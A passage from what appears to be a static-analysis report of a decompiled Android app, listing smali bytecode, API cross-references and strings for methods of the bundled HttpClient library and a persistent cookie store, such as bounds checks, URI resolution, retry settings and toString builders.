        46invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        47array-length p1, p1
        49invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        51invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        52move-result-object p1
        54invoke-direct {v0, p1}, Ljava/lang/IndexOutOfBoundsException;-><init>(Ljava/lang/String;)V
        55throw v0
        Cross References
        APIs
        • java.lang.System.arraycopy
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.IndexOutOfBoundsException.<init>
        Strings
        • off:
        • len:
        • b.length:
        Position Instruction Meta Information
        0if-nez p1, :cond_3
        1return-void
        2cond_3: if-ltz p2, :cond_29
        3array-length v0, p1
        4if-gt p2, v0, :cond_29
        5if-ltz p3, :cond_29
        6add-int v0, p2, p3
        7if-ltz v0, :cond_29
        8array-length v1, p1
        9if-gt v0, v1, :cond_29
        10if-nez p3, :cond_14
        11return-void
        12cond_14: iget v0, p0, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->len:I
        13add-int/2addr v0, p3
        15iget-object v1, p0, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->buffer:[C
        16array-length v1, v1
        17if-le v0, v1, :cond_1f
        19invoke-direct {p0, v0}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->expand(I)V
        20cond_1f:
        21iget-object v1, p0, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->buffer:[C
        22iget v2, p0, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->len:I
        24invoke-static {p1, p2, v1, v2, p3}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
        25iput v0, p0, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->len:I
        26return-void
        27cond_29: new-instance v0, Ljava/lang/IndexOutOfBoundsException;
        28new-instance v1, Ljava/lang/StringBuilder;
        30invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        32const-string v2, "off: "
        34invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        36invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        38const-string p2, " len: "
        40invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        42invoke-virtual {v1, p3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        44const-string p2, " b.length: "
        46invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        47array-length p1, p1
        49invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        51invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        52move-result-object p1
        54invoke-direct {v0, p1}, Ljava/lang/IndexOutOfBoundsException;-><init>(Ljava/lang/String;)V
        55throw v0
        Cross References
        APIs
        • java.net.URI.toString
        • java.lang.String.startsWith
        • java.lang.String.length
        • java.net.URI.create
        • java.net.URI.resolve
        • java.net.URI.toString
        • java.lang.String.indexOf
        • java.lang.String.substring
        • java.net.URI.create
        Strings
        • Base URI
        • Reference URI
        • ?
        • #
        Position Instruction Meta Information
        1const-string v0, "Base URI"
        3invoke-static {p0, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        5const-string v0, "Reference URI"
        7invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        9invoke-virtual {p1}, Ljava/net/URI;->toString()Ljava/lang/String;
        10move-result-object v0
        12const-string v1, "?"
        14invoke-virtual {v0, v1}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
        15move-result v1
        16if-eqz v1, :cond_1b
        18invoke-static {p0, p1}, Lcz/msebera/android/httpclient/client/utils/URIUtils;->resolveReferenceStartingWithQueryString(Ljava/net/URI;Ljava/net/URI;)Ljava/net/URI;
        19move-result-object p0
        20return-object p0
        21cond_1b:
        22invoke-virtual {v0}, Ljava/lang/String;->length()I
        23move-result v0
        24const/4 v1, 0x0
        25if-nez v0, :cond_24
        26const/4 v0, 0x1
        27goto/16 :goto_25
        28cond_24: const/4 v0, 0x0
        29goto_25: if-eqz v0, :cond_2d
        31const-string p1, "#"
        33invoke-static {p1}, Ljava/net/URI;->create(Ljava/lang/String;)Ljava/net/URI;
        34move-result-object p1
        35cond_2d:
        36invoke-virtual {p0, p1}, Ljava/net/URI;->resolve(Ljava/net/URI;)Ljava/net/URI;
        37move-result-object p0
        38if-eqz v0, :cond_45
        40invoke-virtual {p0}, Ljava/net/URI;->toString()Ljava/lang/String;
        41move-result-object p0
        42const/16 p1, 0x23
        44invoke-virtual {p0, p1}, Ljava/lang/String;->indexOf(I)I
        45move-result p1
        47invoke-virtual {p0, v1, p1}, Ljava/lang/String;->substring(II)Ljava/lang/String;
        48move-result-object p0
        50invoke-static {p0}, Ljava/net/URI;->create(Ljava/lang/String;)Ljava/net/URI;
        51move-result-object p0
        52cond_45:
        53invoke-static {p0}, Lcz/msebera/android/httpclient/client/utils/URIUtils;->normalizeSyntax(Ljava/net/URI;)Ljava/net/URI;
        54move-result-object p0
        55return-object p0
        Cross References
        APIs
        • java.util.concurrent.ConcurrentHashMap.<init>
        • java.util.Map.put
        Strings
        • GET
        • HEAD
        • PUT
        • DELETE
        • OPTIONS
        • TRACE
        Position Instruction Meta Information
        1invoke-direct {p0, p1, p2}, Lcz/msebera/android/httpclient/impl/client/DefaultHttpRequestRetryHandler;-><init>(IZ)V
        2new-instance p1, Ljava/util/concurrent/ConcurrentHashMap;
        4invoke-direct {p1}, Ljava/util/concurrent/ConcurrentHashMap;-><init>()V
        5iput-object p1, p0, Lcz/msebera/android/httpclient/impl/client/StandardHttpRequestRetryHandler;->idempotentMethods:Ljava/util/Map;
        7iget-object p1, p0, Lcz/msebera/android/httpclient/impl/client/StandardHttpRequestRetryHandler;->idempotentMethods:Ljava/util/Map;
        9const-string p2, "GET"
        11sget-object v0, Ljava/lang/Boolean;->TRUE:Ljava/lang/Boolean;
        13invoke-interface {p1, p2, v0}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
        15iget-object p1, p0, Lcz/msebera/android/httpclient/impl/client/StandardHttpRequestRetryHandler;->idempotentMethods:Ljava/util/Map;
        17const-string p2, "HEAD"
        19sget-object v0, Ljava/lang/Boolean;->TRUE:Ljava/lang/Boolean;
        21invoke-interface {p1, p2, v0}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
        23iget-object p1, p0, Lcz/msebera/android/httpclient/impl/client/StandardHttpRequestRetryHandler;->idempotentMethods:Ljava/util/Map;
        25const-string p2, "PUT"
        27sget-object v0, Ljava/lang/Boolean;->TRUE:Ljava/lang/Boolean;
        29invoke-interface {p1, p2, v0}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
        31iget-object p1, p0, Lcz/msebera/android/httpclient/impl/client/StandardHttpRequestRetryHandler;->idempotentMethods:Ljava/util/Map;
        33const-string p2, "DELETE"
        35sget-object v0, Ljava/lang/Boolean;->TRUE:Ljava/lang/Boolean;
        37invoke-interface {p1, p2, v0}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
        39iget-object p1, p0, Lcz/msebera/android/httpclient/impl/client/StandardHttpRequestRetryHandler;->idempotentMethods:Ljava/util/Map;
        41const-string p2, "OPTIONS"
        43sget-object v0, Ljava/lang/Boolean;->TRUE:Ljava/lang/Boolean;
        45invoke-interface {p1, p2, v0}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
        47iget-object p1, p0, Lcz/msebera/android/httpclient/impl/client/StandardHttpRequestRetryHandler;->idempotentMethods:Ljava/util/Map;
        49const-string p2, "TRACE"
        51sget-object v0, Ljava/lang/Boolean;->TRUE:Ljava/lang/Boolean;
        53invoke-interface {p1, p2, v0}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
        54return-void
        Cross References
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.IndexOutOfBoundsException.<init>
        Strings
        • Source byte array
        • off:
        • len:
        • b.length:
        Position Instruction Meta Information
        1invoke-direct {p0}, Lcz/msebera/android/httpclient/entity/AbstractHttpEntity;-><init>()V
        3const-string v0, "Source byte array"
        5invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        6if-ltz p2, :cond_28
        7array-length v0, p1
        8if-gt p2, v0, :cond_28
        9if-ltz p3, :cond_28
        10add-int v0, p2, p3
        11if-ltz v0, :cond_28
        12array-length v1, p1
        13if-gt v0, v1, :cond_28
        14iput-object p1, p0, Lcz/msebera/android/httpclient/entity/ByteArrayEntity;->content:[B
        15iput-object p1, p0, Lcz/msebera/android/httpclient/entity/ByteArrayEntity;->b:[B
        16iput p2, p0, Lcz/msebera/android/httpclient/entity/ByteArrayEntity;->off:I
        17iput p3, p0, Lcz/msebera/android/httpclient/entity/ByteArrayEntity;->len:I
        18if-eqz p4, :cond_27
        20invoke-virtual {p4}, Lcz/msebera/android/httpclient/entity/ContentType;->toString()Ljava/lang/String;
        21move-result-object p1
        23invoke-virtual {p0, p1}, Lcz/msebera/android/httpclient/entity/ByteArrayEntity;->setContentType(Ljava/lang/String;)V
        24cond_27: return-void
        25cond_28: new-instance p4, Ljava/lang/IndexOutOfBoundsException;
        26new-instance v0, Ljava/lang/StringBuilder;
        28invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        30const-string v1, "off: "
        32invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        34invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        36const-string p2, " len: "
        38invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        40invoke-virtual {v0, p3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        42const-string p2, " b.length: "
        44invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        45array-length p1, p1
        47invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        49invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        50move-result-object p1
        52invoke-direct {p4, p1}, Ljava/lang/IndexOutOfBoundsException;-><init>(Ljava/lang/String;)V
        53throw p4
        Cross References
        APIs
        • java.util.Collection.isEmpty
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.IllegalArgumentException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.IllegalArgumentException.<init>
        Strings
        • may not be empty
        • may not be null
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Signature;
        1value = {
        2"<E:",
        3"Ljava/lang/Object;",
        4"T::",
        5"Ljava/util/Collection<",
        6"TE;>;>(TT;",
        7"Ljava/lang/String;",
        8")TT;"
        9}
        10.end annotation
        11if-eqz p0, :cond_20
        13invoke-interface {p0}, Ljava/util/Collection;->isEmpty()Z
        14move-result v0
        15if-nez v0, :cond_9
        16return-object p0
        17cond_9: new-instance p0, Ljava/lang/IllegalArgumentException;
        18new-instance v0, Ljava/lang/StringBuilder;
        20invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        22invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        24const-string p1, " may not be empty"
        26invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        28invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        29move-result-object p1
        31invoke-direct {p0, p1}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V
        32throw p0
        33cond_20: new-instance p0, Ljava/lang/IllegalArgumentException;
        34new-instance v0, Ljava/lang/StringBuilder;
        36invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        38invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        40const-string p1, " may not be null"
        42invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        44invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        45move-result-object p1
        47invoke-direct {p0, p1}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V
        48throw p0
        APIs
        • java.lang.String.length
        • java.lang.StringBuilder.<init>
        • java.util.StringTokenizer.<init>
        • java.util.StringTokenizer.hasMoreTokens
        • java.util.StringTokenizer.nextToken
        • java.lang.StringBuilder.length
        • java.lang.StringBuilder.append
        • java.lang.String.startsWith
        • java.lang.String.substring
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • .
        • xn--
        Position Instruction Meta Information
        0new-instance v0, Ljava/lang/StringBuilder;
        2invoke-virtual {p1}, Ljava/lang/String;->length()I
        3move-result v1
        5invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(I)V
        6new-instance v1, Ljava/util/StringTokenizer;
        8const-string v2, "."
        10invoke-direct {v1, p1, v2}, Ljava/util/StringTokenizer;-><init>(Ljava/lang/String;Ljava/lang/String;)V
        11goto_10:
        12invoke-virtual {v1}, Ljava/util/StringTokenizer;->hasMoreTokens()Z
        13move-result p1
        14if-eqz p1, :cond_3a
        16invoke-virtual {v1}, Ljava/util/StringTokenizer;->nextToken()Ljava/lang/String;
        17move-result-object p1
        19invoke-virtual {v0}, Ljava/lang/StringBuilder;->length()I
        20move-result v2
        21if-lez v2, :cond_25
        22const/16 v2, 0x2e
        24invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        25cond_25:
        26const-string v2, "xn--"
        28invoke-virtual {p1, v2}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
        29move-result v2
        30if-eqz v2, :cond_36
        31const/4 v2, 0x4
        33invoke-virtual {p1, v2}, Ljava/lang/String;->substring(I)Ljava/lang/String;
        34move-result-object p1
        36invoke-virtual {p0, p1}, Lcz/msebera/android/httpclient/client/utils/Rfc3492Idn;->decode(Ljava/lang/String;)Ljava/lang/String;
        37move-result-object p1
        38cond_36:
        39invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        40goto/16 :goto_10
        41cond_3a:
        42invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        43move-result-object p1
        44return-object p1
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • state:
        • ;
        • auth scheme:
        • credentials present
        Position Instruction Meta Information
        0new-instance v0, Ljava/lang/StringBuilder;
        2invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        4const-string v1, "state:"
        6invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        8iget-object v1, p0, Lcz/msebera/android/httpclient/auth/AuthState;->state:Lcz/msebera/android/httpclient/auth/AuthProtocolState;
        10invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        12const-string v1, ";"
        14invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        16iget-object v1, p0, Lcz/msebera/android/httpclient/auth/AuthState;->authScheme:Lcz/msebera/android/httpclient/auth/AuthScheme;
        17if-eqz v1, :cond_2b
        19const-string v1, "auth scheme:"
        21invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        23iget-object v1, p0, Lcz/msebera/android/httpclient/auth/AuthState;->authScheme:Lcz/msebera/android/httpclient/auth/AuthScheme;
        25invoke-interface {v1}, Lcz/msebera/android/httpclient/auth/AuthScheme;->getSchemeName()Ljava/lang/String;
        26move-result-object v1
        28invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        30const-string v1, ";"
        32invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        33cond_2b:
        34iget-object v1, p0, Lcz/msebera/android/httpclient/auth/AuthState;->credentials:Lcz/msebera/android/httpclient/auth/Credentials;
        35if-eqz v1, :cond_34
        37const-string v1, "credentials present"
        39invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        40cond_34:
        41invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        42move-result-object v0
        43return-object v0
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.util.concurrent.ConcurrentHashMap.remove
        • android.content.SharedPreferences.edit
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • android.content.SharedPreferences$Editor.remove
        • android.content.SharedPreferences$Editor.commit
        Strings
        • cookie_
        Position Instruction Meta Information
        0new-instance v0, Ljava/lang/StringBuilder;
        2invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        4invoke-interface {p1}, Lcz/msebera/android/httpclient/cookie/Cookie;->getName()Ljava/lang/String;
        5move-result-object v1
        7invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        9invoke-interface {p1}, Lcz/msebera/android/httpclient/cookie/Cookie;->getDomain()Ljava/lang/String;
        10move-result-object p1
        12invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        14invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        15move-result-object p1
        17iget-object v0, p0, Lcom/loopj/android/http/PersistentCookieStore;->cookies:Ljava/util/concurrent/ConcurrentHashMap;
        19invoke-virtual {v0, p1}, Ljava/util/concurrent/ConcurrentHashMap;->remove(Ljava/lang/Object;)Ljava/lang/Object;
        21iget-object v0, p0, Lcom/loopj/android/http/PersistentCookieStore;->cookiePrefs:Landroid/content/SharedPreferences;
        23invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
        24move-result-object v0
        25new-instance v1, Ljava/lang/StringBuilder;
        27invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        29const-string v2, "cookie_"
        31invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        33invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        35invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        36move-result-object p1
        38invoke-interface {v0, p1}, Landroid/content/SharedPreferences$Editor;->remove(Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
        40invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
        41return-void
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • [request date=
        • ; response date=
        • ; statusLine=
        • ]
        Position Instruction Meta Information
        0new-instance v0, Ljava/lang/StringBuilder;
        2invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        4const-string v1, "[request date="
        6invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        8iget-object v1, p0, Lcz/msebera/android/httpclient/client/cache/HttpCacheEntry;->requestDate:Ljava/util/Date;
        10invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        12const-string v1, "; response date="
        14invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        16iget-object v1, p0, Lcz/msebera/android/httpclient/client/cache/HttpCacheEntry;->responseDate:Ljava/util/Date;
        18invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        20const-string v1, "; statusLine="
        22invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        24iget-object v1, p0, Lcz/msebera/android/httpclient/client/cache/HttpCacheEntry;->statusLine:Lcz/msebera/android/httpclient/StatusLine;
        26invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        28const-string v1, "]"
        30invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        32invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        33move-result-object v0
        34return-object v0
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • [leased:
        • ][available:
        • ][pending:
        • ]
        Position Instruction Meta Information
        0new-instance v0, Ljava/lang/StringBuilder;
        2invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        4const-string v1, "[leased: "
        6invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        8iget-object v1, p0, Lcz/msebera/android/httpclient/pool/AbstractConnPool;->leased:Ljava/util/Set;
        10invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        12const-string v1, "][available: "
        14invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        16iget-object v1, p0, Lcz/msebera/android/httpclient/pool/AbstractConnPool;->available:Ljava/util/LinkedList;
        18invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        20const-string v1, "][pending: "
        22invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        24iget-object v1, p0, Lcz/msebera/android/httpclient/pool/AbstractConnPool;->pending:Ljava/util/LinkedList;
        26invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        28const-string v1, "]"
        30invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        32invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        33move-result-object v0
        34return-object v0
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • [id:
        • ][route:
        • ][state:
        • ]
        Position Instruction Meta Information
        0new-instance v0, Ljava/lang/StringBuilder;
        2invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        4const-string v1, "[id:"
        6invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        8iget-object v1, p0, Lcz/msebera/android/httpclient/pool/PoolEntry;->id:Ljava/lang/String;
        10invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        12const-string v1, "][route:"
        14invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        16iget-object v1, p0, Lcz/msebera/android/httpclient/pool/PoolEntry;->route:Ljava/lang/Object;
        18invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        20const-string v1, "][state:"
        22invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        24iget-object v1, p0, Lcz/msebera/android/httpclient/pool/PoolEntry;->state:Ljava/lang/Object;
        26invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        28const-string v1, "]"
        30invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        32invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        33move-result-object v0
        34return-object v0
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • DIGEST [complete=
        • , nonce=
        • , nc=
        • ]
        Position Instruction Meta Information
        0new-instance v0, Ljava/lang/StringBuilder;
        2invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        4const-string v1, "DIGEST [complete="
        6invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        7iget-boolean v1, p0, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->complete:Z
        9invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
        11const-string v1, ", nonce="
        13invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        15iget-object v1, p0, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->lastNonce:Ljava/lang/String;
        17invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        19const-string v1, ", nc="
        21invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        22iget-wide v1, p0, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->nounceCount:J
        24invoke-virtual {v0, v1, v2}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
        26const-string v1, "]"
        28invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        30invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        31move-result-object v0
        32return-object v0
        Cross References
        Strings
        • http.socket.timeout
        • http.connection.stalecheck
        • http.connection.timeout
        • http.protocol.expect-continue
        • http.route.default-proxy
        • http.route.local-address
        • http.auth.proxy-scheme-pref
        • http.auth.target-scheme-pref
        • http.protocol.handle-authentication
        • http.protocol.allow-circular-redirects
        • http.conn-manager.timeout
        • http.protocol.cookie-policy
        • http.protocol.max-redirects
        • http.protocol.handle-redirects
        • http.protocol.reject-relative-redirect
        Position Instruction Meta Information
        1invoke-static {}, Lcz/msebera/android/httpclient/client/config/RequestConfig;->custom()Lcz/msebera/android/httpclient/client/config/RequestConfig$Builder;
        2move-result-object v0
        4const-string v1, "http.socket.timeout"
        5const/4 v2, 0x0
        7invoke-interface {p0, v1, v2}, Lcz/msebera/android/httpclient/params/HttpParams;->getIntParameter(Ljava/lang/String;I)I
        8move-result v1
        10invoke-virtual {v0, v1}, Lcz/msebera/android/httpclient/client/config/RequestConfig$Builder;->setSocketTimeout(I)Lcz/msebera/android/httpclient/client/config/RequestConfig$Builder;
        11move-result-object v0
        13const-string v1, "http.connection.stalecheck"
        14const/4 v3, 0x1
        16invoke-interface {p0, v1, v3}, Lcz/msebera/android/httpclient/params/HttpParams;->getBooleanParameter(Ljava/lang/String;Z)Z
        17move-result v1
        19invoke-virtual {v0, v1}, Lcz/msebera/android/httpclient/client/config/RequestConfig$Builder;->setStaleConnectionCheckEnabled(Z)Lcz/msebera/android/httpclient/client/config/RequestConfig$Builder;
        20move-result-object v0
        22const-string v1, "http.connection.timeout"
        24invoke-interface {p0, v1, v2}, Lcz/msebera/android/httpclient/params/HttpParams;->getIntParameter(Ljava/lang/String;I)I
        25move-result v1
        27invoke-virtual {v0, v1}, Lcz/msebera/android/httpclient/client/config/RequestConfig$Builder;->setConnectTimeout(I)Lcz/msebera/android/httpclient/client/config/RequestConfig$Builder;
        28move-result-object v0
        30const-string v1, "http.protocol.expect-continue"
        32invoke-interface {p0, v1, v2}, Lcz/msebera/android/httpclient/params/HttpParams;->getBooleanParameter(Ljava/lang/String;Z)Z
        33move-result v1
        35invoke-virtual {v0, v1}, Lcz/msebera/android/httpclient/client/config/RequestConfig$Builder;->setExpectContinueEnabled(Z)Lcz/msebera/android/httpclient/client/config/RequestConfig$Builder;
        36move-result-object v0
        38const-string v1, "http.route.default-proxy"
        40invoke-interface {p0, v1}, Lcz/msebera/android/httpclient/params/HttpParams;->getParameter(Ljava/lang/String;)Ljava/lang/Object;
        41move-result-object v1
        42check-cast v1, Lcz/msebera/android/httpclient/HttpHost;
